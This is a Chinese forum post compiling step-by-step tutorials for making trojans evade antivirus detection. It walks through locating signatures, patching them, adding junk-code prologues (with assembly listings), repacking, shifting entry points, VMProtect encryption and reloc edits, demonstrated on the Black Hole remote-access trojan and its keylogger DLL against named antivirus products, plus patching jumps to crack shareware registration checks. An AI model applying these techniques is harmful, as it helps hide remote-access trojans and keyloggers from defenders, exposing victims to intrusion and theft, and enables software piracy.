论坛: 菜鸟乐园 标题: 为大家送上一些苯人正在学习中的柴鸟免杀知识 复制本贴地址    
作者: qe1992104 [qe1992104]    论坛用户   登录
如题
木马高级免杀修改特征码需要熟练掌握的全部汇编知识一.机械码,又称机器码.
ultraedit打开,编辑exe文件时你会看到
许许多多的由0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F组成的数码,这些数码
就是机器码.
修改程序时必须通过修改机器码来修改exe文件. 二.需要熟练掌握的全部汇编知识(只有这么多)
不大容易理解,可先强行背住,混个脸儿熟,以后慢慢的就理解了
cmp a,b 比较a与b
mov a,b 把b的值送给a
ret 返回主程序
nop 无作用,英文“no operation”的简写,意思是“do nothing”(机器码90)***机器码的含义参看上面
(解释:ultraedit打开编辑exe文件时你看到90,等同于汇编语句nop)
call 调用子程序
je 或jz 若相等则跳(机器码74 或0F84)
jne或jnz 若不相等则跳(机器码75或0F85)
jmp 无条件跳(机器码EB)
jb 若小于则跳
ja 若大于则跳
jg 若大于则跳
jge 若大于等于则跳
jl 若小于则跳
jle 若小于等于则跳
pop 出栈
push 压栈三.常见修改(机器码)
74=>75 74=>90 74=>EB
75=>74 75=>90 75=>EB jnz->nop
75->90(相应的机器码修改) jnz -> jmp
75 -> EB(相应的机器码修改) jnz -> jz
75->74 (正常) 0F 85 -> 0F 84(特殊情况下,有时,相应的机器码修改) 四.两种不同情况的不同修改方法
1.修改为jmp
je(jne,jz,jnz) =>jmp相应的机器码EB (出错信息向上找到的第一个跳转)jmp的作用是绝对跳,无条件跳,从而跳过下面的出错信息 xxxxxxxxxxxx 出错信息,例如:注册码不对,sorry,未注册版不能...,"Function Not Avaible in Demo" 或 "Command Not Avaible" 或 "Can't save in Shareware/Demo"等(我们希望把它跳过,不让它出现)
。。。
。。。
xxxxxxxxxxxx 正确路线所在 2.修改为nop
je(jne,jz,jnz) =>nop相应的机器码90 (正确信息向上找到的第一个跳转) nop的作用是抹掉这个跳转,使这个跳转无效,失去作用,从而使程序顺利来到紧跟其后的正确信息处 xxxxxxxxxxxx 正确信息,例如:注册成功,谢谢您的支持等(我们希望它不被跳过,让它出现,程序一定要顺利来到这里)
。。。
。。。
xxxxxxxxxxxx 出错信息(我们希望不要跳到这里,不让它出现)它们在存贮器和寄存器、寄存器和输入输出端口之间传送数据.
1. 通用数据传送指令.
MOV 传送字或字节.
MOVSX 先符号扩展,再传送.
MOVZX 先零扩展,再传送.
PUSH 把字压入堆栈.
POP 把字弹出堆栈.
PUSHA 把AX,CX,DX,BX,SP,BP,SI,DI依次压入堆栈.
POPA 把DI,SI,BP,SP,BX,DX,CX,AX依次弹出堆栈.
PUSHAD 把EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI依次压入堆栈.
POPAD 把EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX依次弹出堆栈.
BSWAP 交换32位寄存器里字节的顺序
XCHG 交换字或字节.( 至少有一个操作数为寄存器,段寄存器不可作为操作数)
CMPXCHG 比较并交换操作数.( 第二个操作数必须为累加器AL/AX/EAX )
XADD 先交换再累加.( 结果在第一个操作数里 )
XLAT 字节查表转换.
―― BX 指向一张 256 字节的表的起点, AL 为表的索引值 (0-255,即
0-FFH); 返回 AL 为查表结果. ( [BX+AL]->AL )
2. 输入输出端口传送指令.
IN I/O端口输入. ( 语法: IN 累加器, {端口号│DX} )
OUT I/O端口输出. ( 语法: OUT {端口号│DX},累加器 )
输入输出端口由立即方式指定时, 其范围是 0-255; 由寄存器 DX 指定时,
其范围是 0-65535.
3. 目的地址传送指令.
LEA 装入有效地址.
例: LEA DX,string ;把偏移地址存到DX.
LDS 传送目标指针,把指针内容装入DS.
例: LDS SI,string ;把段地址:偏移地址存到DS:SI.
LES 传送目标指针,把指针内容装入ES.
例: LES DI,string ;把段地址:偏移地址存到ESI.
LFS 传送目标指针,把指针内容装入FS.
例: LFS DI,string ;把段地址:偏移地址存到FSI.
LGS 传送目标指针,把指针内容装入GS.
例: LGS DI,string ;把段地址:偏移地址存到GSI.
LSS 传送目标指针,把指针内容装入SS.
例: LSS DI,string ;把段地址:偏移地址存到SSI.
4. 标志传送指令.
LAHF 标志寄存器传送,把标志装入AH.
SAHF 标志寄存器传送,把AH内容装入标志寄存器.
PUSHF 标志入栈.
POPF 标志出栈.
PUSHD 32位标志入栈.
POPD 32位标志出栈. 二、算术运算指令
―――――――――――――――――――――――――――――
ADD 加法.
ADC 带进位加法.
INC 加 1.
AAA 加法的ASCII码调整.
DAA 加法的十进制调整.
SUB 减法.
SBB 带借位减法.
DEC 减 1.
NEC 求反(以 0 减之).
CMP 比较.(两操作数作减法,仅修改标志位,不回送结果).
AAS 减法的ASCII码调整.
DAS 减法的十进制调整.
MUL 无符号乘法.
IMUL 整数乘法.
以上两条,结果回送AH和AL(字节运算),或DX和AX(字运算),
AAM 乘法的ASCII码调整.
DIV 无符号除法.
IDIV 整数除法.
以上两条,结果回送:
商回送AL,余数回送AH, (字节运算);
或 商回送AX,余数回送DX, (字运算).
AAD 除法的ASCII码调整.
CBW 字节转换为字. (把AL中字节的符号扩展到AH中去)
CWD 字转换为双字. (把AX中的字的符号扩展到DX中去)
CWDE 字转换为双字. (把AX中的字符号扩展到EAX中去)
CDQ 双字扩展. (把EAX中的字的符号扩展到EDX中去) 三、逻辑运算指令
――――――――――――――――――――――――――――
AND 与运算.
OR 或运算.
XOR 异或运算.
NOT 取反.
TEST 测试.(两操作数作与运算,仅修改标志位,不回送结果).
SHL 逻辑左移.
SAL 算术左移.(=SHL)
SHR 逻辑右移.
SAR 算术右移.(=SHR)
ROL 循环左移.
ROR 循环右移.
RCL 通过进位的循环左移.
RCR 通过进位的循环右移.
以上八种移位指令,其移位次数可达255次.
移位一次时, 可直接用操作码. 如 SHL AX,1.
移位>1次时, 则由寄存器CL给出移位次数.
如 MOV CL,04
SHL AX,CL 四、串指令
―――――――――――――――――――――――――――――
DS:SI 源串段寄存器 :源串变址.
ESI 目标串段寄存器:目标串变址.
CX 重复次数计数器.
AL/AX 扫描值.
D标志 0表示重复操作中SI和DI应自动增量; 1表示应自动减量.
Z标志 用来控制扫描或比较操作的结束.
MOVS 串传送.
( MOVSB 传送字符. MOVSW 传送字. MOVSD 传送双字. )
CMPS 串比较.
( CMPSB 比较字符. CMPSW 比较字. )
SCAS 串扫描.
把AL或AX的内容与目标串作比较,比较结果反映在标志位.
LODS 装入串.
把源串中的元素(字或字节)逐一装入AL或AX中.
( LODSB 传送字符. LODSW 传送字. LODSD 传送双字. )
STOS 保存串.
是LODS的逆过程.
REP 当CX/ECX<>0时重复.
REPE/REPZ 当ZF=1或比较结果相等,且CX/ECX<>0时重复.
REPNE/REPNZ 当ZF=0或比较结果不相等,且CX/ECX<>0时重复.
REPC 当CF=1且CX/ECX<>0时重复.
REPNC 当CF=0且CX/ECX<>0时重复. 五、程序转移指令
―――――――――――――――――――――――――――――
1>无条件转移指令 (长转移)
JMP 无条件转移指令
CALL 过程调用
RET/RETF过程返回.
2>条件转移指令 (短转移,-128到+127的距离内)
( 当且仅当(SF XOR OF)=1时,OP1 JA/JNBE 不小于或不等于时转移.
JAE/JNB 大于或等于转移.
JB/JNAE 小于转移.
JBE/JNA 小于或等于转移.
以上四条,测试无符号整数运算的结果(标志C和Z).
JG/JNLE 大于转移.
JGE/JNL 大于或等于转移.
JL/JNGE 小于转移.
JLE/JNG 小于或等于转移.
以上四条,测试带符号整数运算的结果(标志S,O和Z).
JE/JZ 等于转移.
JNE/JNZ 不等于时转移.
JC 有进位时转移.
JNC 无进位时转移.
JNO 不溢出时转移.
JNP/JPO 奇偶性为奇数时转移.
JNS 符号位为 "0" 时转移.
JO 溢出转移.
JP/JPE 奇偶性为偶数时转移.
JS 符号位为 "1" 时转移.
3>循环控制指令(短转移)
LOOP CX不为零时循环.
LOOPE/LOOPZ CX不为零且标志Z=1时循环.
LOOPNE/LOOPNZ CX不为零且标志Z=0时循环.
JCXZ CX为零时转移.
JECXZ ECX为零时转移.
4>中断指令
INT 中断指令
INTO 溢出中断
IRET 中断返回
5>处理器控制指令
HLT 处理器暂停, 直到出现中断或复位信号才继续.
WAIT 当芯片引线TEST为高电平时使CPU进入等待状态.
ESC 转换到外处理器.
LOCK 封锁总线.
NOP 空操作.
STC 置进位标志位.
CLC 清进位标志位.
CMC 进位标志取反.
STD 置方向标志位.
CLD 清方向标志位.
STI 置中断允许位.
CLI 清中断允许位. 六、伪指令
―――――――――――――――――――――――――
DW 定义字(2字节).
PROC 定义过程.
ENDP 过程结束.
SEGMENT 定义段.
ASSUME 建立段寄存器寻址.
ENDS 段结束.
END 程序结束. 输入表免杀的4种方法现在很多杀毒软件把木马的特征码定位在程序的输入表,代表:NOD32,瑞星。以黑仿鸽子为例瑞星有两处内存特征码定位在输入表上,那么我们应该怎样修改呢?修改输入表是今年才被广泛应用的新技术,我知道的修改输入表的方法有4种。 1,移位法。用到的工具是C32,和LORDPE。 这个很简单,就是移动特征码的位置,但是从今年下半年起,这种方法对瑞星已经失效了。 2:调换法注意:长度大小必须要一样。这种方法对NOD32 和小红伞这两款世界出名杀毒软件的效果还不错。。利用C32上下调换输入表的位置,大家不要仅仅局限在 紧接着的上下两行调换。。。打个比方有4行代码, 你不仅仅可以2,3行互换,你同样可以1,4行互换,只要这些代码是输入表,并且长度一样就没什么问题。 3,指针修改法其实就是移位法的变通,不同的是移位法是在用LORDPE改,而指针修改法是用OD把程序载入内存,找到特征码的文件偏移,然后再用C32修改。。 4,重建输入表用到的工具有OD C32 Import Fix LordPE 1.首先我们OD载入鸽子的服务端,目的使服务端载入计算机内存,然后打开ImportREC 1.6,找到鸽子服务端的程序,选中它。打开PEID载入服务端,我们找到子系统打开后面的大于号 。找到输入表信息: 000A8000 000033A2,把这2个地址分别输入到ImportREC 1.6的RAV和大小里面,然后点击获得输入表按健,获得输入表后我们继续点击显示无效的,在找到的输入函数栏里我们任意选种一个点击右健选择[删除指针],继续我们选择[修理DUMP]出现一个提示框选择我们鸽子的服务端,系统自动生成一个新的输入表服务端,但是这个服务端包括2个输入表,我们把原来的输入表删除了,使用我们新建的输入表。我们继续用OD载入鸽子新生成的服务端,点击OD里的M健(内存影射),我们可以看到地址004C2000为我们新建的输入表,.IDATA 段地址004A8000是以前输入表的地址,我们找到它,去头去尾00填充掉,目的是把特征码定位在此处的信息删除掉(去除老的输入表)然后保存。此方法对于特征码定位在输入表的免杀效果不错,大家可以尝试一下。注意:在填充原输入表时,填0的原则是能把特征码填掉就好,鸽子的IDATA段还有别的信息.不要从头一下拉到尾整个就给填0了,这样运行会出错,我们选中间的大部分数据填0,就保证程序既能正常运行,而且特征码被填掉,大家多试一两次就可以了。 只要是特征码定位在输入表上,重建输入表这种方法基本都可以躲过,但其实个人并不提倡重建输入表,因为重建输入表后,对程序以后的加密有一定影响。。这真的是很矛盾,一方面它免杀效果好,另一方面却并不是自己想看到的,真是鱼与熊掌不可兼得。。
 
一.关于免杀的来源
为了让我们的木马在各种杀毒软件的威胁下活的更久.
二.什么叫免杀和查杀
可分为二类:
1.文件免杀和查杀:不运行程序用杀毒软件进行对该程序的扫描,所得结果。
2.内存的免杀和查杀:判断的方法1>运行后,用杀毒软件的内存查杀功能.
2>用OD载入,用杀毒软件的内存查杀功能.

三.什么叫特征码

1.含意:能识别一个程序是一个病毒的一段不大于64字节的特征串.
2.为了减少误报率,一般杀毒软件会提取多段特征串,这时,我们往往改一处就可达到
免杀效果,当然有些杀毒软件要同时改几处才能免杀.(这些方法以后详细介绍)
3.下面用一个示意图来具体来了解一下特征码的具体概念

四.特征码的定位与原理

1.特征码的查找方法:文件中的特征码被我们填入的数据(比如0)替换了,那杀毒软
件就不会报警,以此确定特征码的位置

2.特征码定位器的工作原理:原文件中部分字节替换为0,然后生成新文件,再根据杀
毒软件来检测这些文件的结果判断特征码的位置

五.认识特征码定位与修改的工具

1.CCL(特征码定位器)
2.OOydbg (特征码的修改)
3.OC用于计算从文件地址到内存地址的小工具.
4.UltaEdit-32(十六进制编辑器,用于特征码的手工准确定位或修改)

六.特征码修改方法

特征码修改包括文件特征码修改和内存特征码修改,因为这二种特征码的修改方法
是通用的。所以就对目前流行的特征码修改方法作个总节。

方法一:直接修改特征码的十六进制法
1.修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制.

2.适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能
否正常使用.

方法二:修改字符串大小写法
1.修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了.
2.适用范围:特征码所对应的内容必需是字符串,否则不能成功.

方法三:等价替换法
1.修改方法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
2.适用范围:特征码中必需有可以替换的汇编指令.比如JN,JNE 换成JMP等.
如果和我一样对汇编不懂的可以去查查8080汇编手册.

方法四:指令顺序调换法
1.修改方法:把具有特征码的代码顺序互换一下.
2.适用范围:具有一定的局限性,代码互换后要不能影响程序的正常执行

方法五:通用跳转法
1.修改方法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行.
2.适用范围:没有什么条件,是通用的改法,强烈建议大家要掌握这种改法.

七.木马免杀的综合修改方法

文件免杀方法:
1.加冷门壳
2.加花指令
3.改程序入口点
4.改木马文件特征码的5种常用方法
5.还有其它的几种免杀修改技巧

内存免杀方法:

修改内存特征码:
方法1>直接修改特征码的十六进制法
方法2>修改字符串大小写法
方法3>等价替换法
方法4>指令顺序调换法
方法5>通用跳转法
木马的免杀[学用CLL定位文件和内存特怔码]

1.首先我们来看下什么叫文件特征码.
一般我们可以这样认为,一个木马程序在不运行的情况下,用杀毒软件查杀,若报警为病毒,说明存在该查毒软件的文件特征码的。
2.特征码的二种定位方法.
手动定位和自动定位
3.文件特征码的定位技巧.
通常用手动确定大范围,用自动精确定位小范围.
下面分别用瑞星和卡巴为例,实例演示并结合手动定位和自动定位二种方法来准确定位文件特征码。要定位的对像以下载者为例。
用卡巴来定位文件特征码
⑴.手动定位:
1 打开CLL
2 选择设置中的 总体参数 ,,,,,选中文件特征码手动定位,,,,以及路径

3选中设置中的 手动参数,,,,,选择替换方式 选中,,,总共生成规定个数的文件,,,生成个数为1000

4选择文件中的 特征码检测,,文件特征码检测,,,打开程序(要定位特证码的程序)
5在弹出的PE窗口中 直接点确定 ,之后弹出的窗口在点确定
6然后等CLL生成完毕之后用杀毒软件进行查杀
7在CLL中选 操作,结果定位,选中刚刚用来存放检测结果的文件夹
8在CLL中选
文件免杀之加花指令法

一.花指令相关知识:
 其实是一段垃圾代码,和一些乱跳转,但并不影响程序的正常运行。加了花指令后,使一些杀毒软件无法正确识别木马程序,从而达到免杀的效果。

二.加花指令使木马免杀制作过程详解:
  第一步:配置一个不加壳的木马程序。
  第二步:用OD载入这个木马程序,同时记下入口点的内存地址。
  第三步:向下拉滚动条,找到零区域(也就是可以插入代码的都是0的空白地方)。并记下零区域的起始内存地址。
  第四步:从这个零区域的起始地址开始一句一句的写入我们准备好的花指令代码。
  第五步:花指令写完后,在花指令的结束位置加一句:JMP 刚才OD载入时的入口点内存地址。
  第六步:保存修改结果后,最后用PEditor这款工具打开这个改过后的木马程序。在入口点处把原来的入口地址改成刚才记下的零区域的起始内存地址,并按应用更改。使更改生效。
        
三.加花指令免杀技术总节:
 1.优点:通用性非常不错,一般一个木马程序加入花指令后,就可以躲大部分的杀毒软件,不像改特征码,只能躲过某一种杀毒软件。
 2.缺点:这种方法还是不能过具有内存查杀的杀毒软件,比如瑞星内存查杀等。
 3.以后将加花指令与改入口点,加壳,改特征码这几种方法结合起来混合使用效果将非常不错。
四.加花指令免杀要点:
由于黑客网站公布的花指令过不了一段时间就会被杀软辨认出来,所以需要你自己去搜集一些不常用的花指令,另外目前还有几款软件可以自动帮你加花,方便一些不熟悉的朋友,例如花指令添加器等。

五.常见花指令代码
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
1。 VC++ 5.0
PUSH EBP
MOV EBP,ESP
PUSH -1
push 515448
PUSH 6021A8
MOV EAX,DWORD PTR FS:[0]
PUSH EAX
MOV DWORD PTR FS:[0],ESP
ADD ESP,-6C
PUSH EBX
PUSH ESI
PUSH EDI
jmp 跳转到程序原来的入口点
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
2。c ++
push ebp
mov ebp,esp
push -1
push 111111
push 222222
mov eax,fs:[0]
push eax
mov fs:[0],esp
pop eax
mov fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax
jmp 跳转到程序原来的入口点
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
3。跳转
somewhere:
nop /"胡乱"跳转的开始...
jmp 下一个jmp的地址 /在附近随意跳
jmp ... /...
jmp 原入口的地址 /跳到原始oep
--------------------------------------------------
新入口: push ebp
mov ebp,esp
inc ecx
push edx
nop
pop edx
dec ecx
pop ebp
inc ecx
loop somewhere /跳转到上面那段代码地址去!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
4。Microsoft Visual C++ 6.0
push ebp
mov ebp,esp
PUSH -1
PUSH 0
PUSH 0
MOV EAX,DWORD PTR FS:[0]
PUSH EAX
MOV DWORD PTR FS:[0],ESP
SUB ESP,68
PUSH EBX
PUSH ESI
PUSH EDI
POP EAX
POP EAX
POP EAX
ADD ESP,68
POP EAX
MOV DWORD PTR FS:[0],EAX
POP EAX
POP EAX
POP EAX
POP EAX
MOV EBP,EAX
JMP 原入口
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
5。
在mov ebp,eax
后面加上
PUSH EAX
POP EAX
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
6.
push ebp
mov ebp,esp
add esp,-0C
add esp,0C
mov eax,403D7D
push eax
retn
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
push ebp
mov ebp,esp
push -1
push 00411222
push 00411544
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
add esp,-6C
push ebx
push esi
push edi
add byte ptr ds:[eax],al
jo 入口
jno 入口
call 下一地址
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
7.
push ebp
nop
nop
mov ebp,esp
inc ecx
nop
push edx
nop
nop
pop edx
nop
pop ebp
inc ecx
loop 任意地址
nop
nop
―――――――――――――――
nop
nop
jmp 下一个jmp的地址 /在附近随意跳
nop
jmp 下一个jmp的地址 /在附近随意跳
nop
jmp 下一个jmp的地址 /在附近随意跳
jmp 入口
文件免杀之加壳与改入口点法


一.壳的相关知识:
1.壳的分类:压缩壳和加密壳
2.壳的作用:保护和文件免杀
二.加壳免杀的几个弱点
1.不能躲过像瑞星这类具有内存查杀功能的杀毒软件。
2.一般不能躲过卡巴的查杀
因为卡巴采用了一种叫虚拟机技术。首先把加了多层壳的木马程序在虚拟机环境下运行一下,这样木马程序就会现出本来面目,这样无论你加了多少层壳,在运行后程序还是要暴露自已的。所以大家在加壳测试过程中也会发现,能过其它的多种杀毒软件,但卡巴始终很难过,其原因就是卡巴的虚拟技术在作怪。
三.是不是现在的加壳免杀已失去意义
每种免杀技术都有他的缺点和优点,比如加壳,首先要找到比较生僻的壳,而且可能以后很快被查杀.同时也不能过内存查杀,也很难过卡巴.但它操作方便,通用性好加一个壳,可能过好几个杀毒软件.又比如修改特征码.首先操作比较烦,要定位,要修改,改好后还要测试是否能正常使用.同时针对性非常强.只能针对某一种杀毒软件的免杀,各种杀毒软件的特征码都不一样,所以要躲过多种杀毒软件查杀,就要分别定位,修改每种杀毒软件的特征码.这样是相当麻烦的.但它可以通过修改特征码来躲过瑞星内存和卡巴的查杀.
所以以后免杀技术会把加壳,加花指令,改入口点,改特征码这几种方法结合起来使用.对付瑞星的内存查杀,我们可以修改内存特征码,对付卡巴的虚拟机技术.我们可以修改卡巴的特征码.在加上加冷门壳,加花指令,改入口点.综合这些方法就可以打造金钢不死之身!
四.加壳免杀实例演示部分:
1.加生僻壳免杀:实例演示
2.加伪装壳免杀:实例演示
3.多重加壳免杀:(用木马彩衣进行多重加壳)

五.改入口点免杀法:
1.改入口点免杀原理:杀毒软件一般都检测病毒还原之后的代码,而且一般都把代码段开始的前40个字节作为特征值.入口点改变了,说明也就破坏了特征码,这样就达到免杀的效果.
2.改入口点免杀方法一:入口地址加1法.
操作步骤:
第一步:配置一个无壳的木马服务端.
第二步:用PEditor打开木马程序服务端.在入口点处的地址加1.然后点应用更改就可以了.
评论:该方法对不同木马程序,有不同的效果,其它杀毒软件一般都可以躲过,但有些程序改过后还是被卡巴查杀.同时也不能过内存查杀,但以后结合加花指令,加壳等等方法,效果将非常不错.


3.改入口点免杀方法二:变换入口地址法.
操作步骤:
第一步:用OD载入无壳木马程序服务端.
第二步:把入口点的开始二句代码(大都为push ebp mov ebp,esp).移到零区域也是就空白区域地方.并记下零区域的内存地址.同时在后面加一句跳转命令:JMP 到第三条指令的地址.
第三步:然后修正并保存,最后用PEditor打开该程序.把入口点改成刚才在零区域记下的内存地址.
评论:该方法效果比方法一要好.经测试,用方法一改过后被卡巴查出来,用方法二就查不出来. 以后可以结合加花指令,加壳,改特征码,打造金钢不死之身!


采用以上的方法可以躲过不少杀毒软件的追杀,并且方便快速,又很简单,所以是免杀里非常主要的手段,但是一定要检查文件是不是能够正常运行。
免杀新技术[虚拟机加密免杀]和[壳中改籽]

一 虚拟机加密免杀
最新免杀技术――虚拟机加密代码应用并非传统的修改特征码,也不是修改入口点+花指令,更不是
加壳压缩!是最新的一种免杀技术!借于这种技术你可以千变万化,是免杀对新手来说更为简单!
大家对虚拟机vmprotect是否有所了解,这个是最新的加密工具!可以加密PE文件中任何一句或一段代码
自然可以给我们用来免杀了!
免杀工具:vmprotect1.07或1.06 PEID UPX
免杀步骤:原理说明:加密区段代码使杀毒软件无法识别!你可以找特征码,找到后加密特征码的代码!
用PEID查看入口点:假如这里的入口点是0007DB74 基址是 00400000
3.用虚拟机vmprotect打开要免杀的文件,添加地址0047DB74=00400000+0007DB74 基址+入口点
4.选代码区域->转存->F9保存
5.测试运行->可以成功运行
6.用UPX压缩一下,缩小体积,OK 免杀成功
总结:虚拟机加密代码是比较新的免杀技术,可以和其他免杀技术有机的集合在一起,让你的木马变成金刚不坏.大家要多多掌握。

二 壳中改籽技术免杀
这种免杀很少有人用,所以免杀效果非常好,各大黑客网站也很少见到介绍,这里我把别人做黑洞免杀的文章发到这里,供大家研究.估计是浩天写的文章
先讲一下为什么这种技术叫“壳中改籽”。配置一个黑洞的服务端,然后用PEiD.exe来查看它是用什么加的壳,查到是UPX加的变态壳,程序的区段都给隐藏了,那么先得给黑洞服务端脱壳。用 upxfix.exe打开它,然后在Decompress method里面选择5,点击fix,这样就修复了。再用PEiD.exe查一下,看现在可以看到区段了吧。
为什么我一再提到这个区段呢?其实它就是文章的重点,也就是壳里面的籽。继续脱壳,用UPXShell打开修复好的黑洞服务端,点击解压缩,完成后我们可以看到程序由原来的201 kb变成了506 KB ,大了一倍多。
有人可能要问为什么一定要给它脱壳呢?直接修改不可以吗?其实主要是因为黑洞的服务端里还有一个用做键盘记录的dll文件,它也要做免杀处理。用 Resscope1.92打开黑洞的服务端,这个可是绝好的exe资源编辑器啊,先选择dllfile里面的getkey,然后点击文件→导出资源,这样 dll文件就导出来了。它也是用upx加的变态壳,因为区段被加密了,所以我们也要给它脱壳,再加壳。脱壳的过程和先前脱黑洞服务端一样先用 upxfix.exe打开它,但是这里注意在Decompress method里面,不要选择5,而是选择2修复,不然的话就脱不了壳了。
接着用UPXShell解压缩,现在dll文件的大小由原来的11 kb变成了18.5 kb,然后再用UPXShell重新给它加上壳。
三、修改upx壳里面的籽
把UPX加过壳的dll文件,用PEiD.exe打开查看,这里有几个数据需要我们记录,等下和修改后的文件做比较用。
先分别把程序入口点:000C220、文件偏移量:00002620 ,记录下来,然后点击查看EP区段,在区段查看上面再点右键选择cave查找器,把upx壳区段upx1的RVA:0000C3B5、 偏移:000027B5等参数也记录下来。

关键的时刻到了,reloc.exe闪亮登场。因为reloc 是一款命令下的工具,所以为了操作方便,我建议大家写一个bat文件和reloc放在同一目录。我们开始记录的数据现在派上用场了,编辑bat文件格式如下:
reloc 待修改程序 $程序入口 $文件偏移量 $壳的区段入口 $区段偏移 参数
那么对应我们的黑洞键盘记录dll文件所记录的数据,这个bat就应该这样写:
reloc 键盘记录.dll $C220 $2620 $C3B5 $27B5 5
数据前面的零不要写到bat里面,另外最后面的这个参数大家注意,其实它是设置修改时的偏移量的,一般dll文件选择5,exe文件选择5-9之间的数,一般选择6就好了。
设置完了,我们运行这个bat文件,开始修改。完毕之后我分别用国内和国外最强的杀毒软件江民、诺盾和卡巴斯基对键盘记录.dll进行扫描,它们均未发现病毒,我们的木马成功躲了过去。用PEiD.exe重新打开,可以发现PEiD已经无法分别键盘记录.dll是什么壳了,把原来记录的几个数据和现在对比一下发现程序入口和文件偏移量没有,而壳区段入口和区段偏移却改变。
飘舞的风在上一期的文章里面说道:“peidv0.92是通过每个程序的开头几十个字节来比较是那种壳。”,看来不仅仅如此,peidv0.92还把壳的区段入口开头的几十个字节也作为了用来判断壳的类型的特征代码,杀毒软件也是如此,这样简单修改一下我们的木马就免杀了。
着把这个已经修改好的dll文件,导回到黑洞的服务端,方法和导出dll是一样的,我就不再讲述了,然后把它用UPXShell再次加壳,加壳后的大小为200 kb。
现在可以开始我们的第二次免杀之旅了,同样用PEiD.exe把程序入口、文件偏移量、壳的区段入口、区段偏移,等数据记录下来,写入bat文件。
我的bat是这样写的:
reloc 1.exe $88620 $30A20 $887A3 $30BA3 6
我前面已经讲过了,修改exe文件的时候,参数选择5-9之间的数,一般选择6就好了。现在运行bat文件,黑洞服务端的免杀就全部完成了。用 PEiD.exe查看,显示的是“Nothing found”看来PEiD已经不认识它了,再用江民、诺盾和卡巴斯基查杀,均显示无病毒,呵呵,欺骗成功。
四、结语
经过这么简单的修改以后效果是非常好的,相信以后这样的免杀技术将会成为主流技术,因为它简单实用。
分析它实现免杀的原理,不难看出换一个角度思考问题的重要性,从壳的修改转到壳中籽的修改,不能不说这是一种创新,
它使木马的免杀之路变宽了。最后谢谢 “朋友的家”提供一款这样优秀的工具。如果大家能够把这种技术和我前面提到的另外三种结合起来使用,相信它将是无懈可击的
免杀新技术之OD一半定位法

不知道是那位牛人想出来把这方法用到木马免杀上,这个方法让很多不会用偏移定位特怔码的朋友也能够很容易掌握到特怔码的位置,实在是很高明又很简单的免杀好方法.这里我就根据他的方法详细介绍OD一半定位法
所谓OD一半定位法很简单,就是用OD载入需要做免杀处理的文件,用NOP填充一半的代码然后保存,接着用杀毒软件查毒,如果有毒就在把另外一半用NOP填充,如果没报毒就证明特怔码就在刚刚填充的那一半,然后又对那一半进行1/2的NOP填充,这样不断缩小范围,很容易就找到需要修改的代码部分。如果是做内存免杀就把NOP填充好的文件用OD打开进行内存杀毒。怎么样?是不是很容易掌握的方法?
不过需要注意的是新手用这个方法最好每做一步都把NOP填充的开头和结局部分的地址用纪事本保存,免得一旦忘记又从头来.
如果特怔码不止一处,你就要大致定位到有特怔码这一大段,然后把这一段的一半用NOP填充并且保存,接着打开保存的文件对另外一半继续刚刚开始的步骤,这样很快就能够定位出几处特证码所在的位置.
还是那句话,熟练就好,另外需要注意填充后查出的病毒名字有没有改变,如果改变就证明你填充的那段存在特怔码,这样可以省掉不少时间。
文件免杀之文件特征码修改五大法宝

方法一:修改字符串大小写法

1.修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了.
2.适用范围:特征码所对应的内容必需是字符串,否则不能成功.

   方法二:直接修改特征码的十六进制法
1.修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制.
2.适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能否正常使用.
 
   方法三:指令顺序调换法
1.修改方法:把具有特征码的代码顺序互换一下.
2.适用范围:具有一定的局限性,代码互换后要不能影响程序的正常执行。

  方法四:通用跳转法
1.修改方法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行.
2.适用范围:没有什么条件,是通用的改法,强烈建议大家要掌握这种改法.
  
  方法五:等价替换法
1.修改方法:把特征码所对应的汇编指令命令中替换成功能类似的指令.
2.适用范围:特征码中必需有可以替换的汇编指令.替换后指令功能要不变比如JN,JNE 换成JMP,这里要对汇编要比较熟悉,读懂指令后可以替换功能相同的指令。也可以去查8080汇编手册[计算机专栏里有]

实战特怔码免杀
第一步:首先用内存定位法来准确定位瑞星内存特征码的具体位置
  第一阶段:自动参数中,生成文件间隔秒数设为4,最小替换字节数设为100字节。(主要用于大体定位内存特征码)
第二阶段:自动参数中,生成文件间隔秒数设为4.最小替换字节数设为4字节。(主要用于准确定位内存特征码)
第二步:修改特征码
   用OD打开文件,找到特怔码所在位置,并且判断适合用那种方法修改,如果对方法不太熟悉,并且特怔码不止一处,那就需要你改一处就保存并且在虚拟机里试验能否正常运行[虚拟机可是做免杀的必备工具,强烈建议你安装,因为你不可能就在自己的机器上运行木马吧?在说也不可能在你机器上同时安装N种杀软,那你机器不慢死,更重要还可以用来试验别人提供的软件有没有木马]
木马免杀技术之独门绝技


绝技一:快速搞定瑞星文件查杀
操作步骤:
 第一步:用OD载入,来到程序的入口点。
 第二步:把入口点的第一句PUSH EBP 改成POP EBP 然后保存就可以躲过瑞星的表面查杀。

绝技二:快速定位与修改瑞星内存特征码
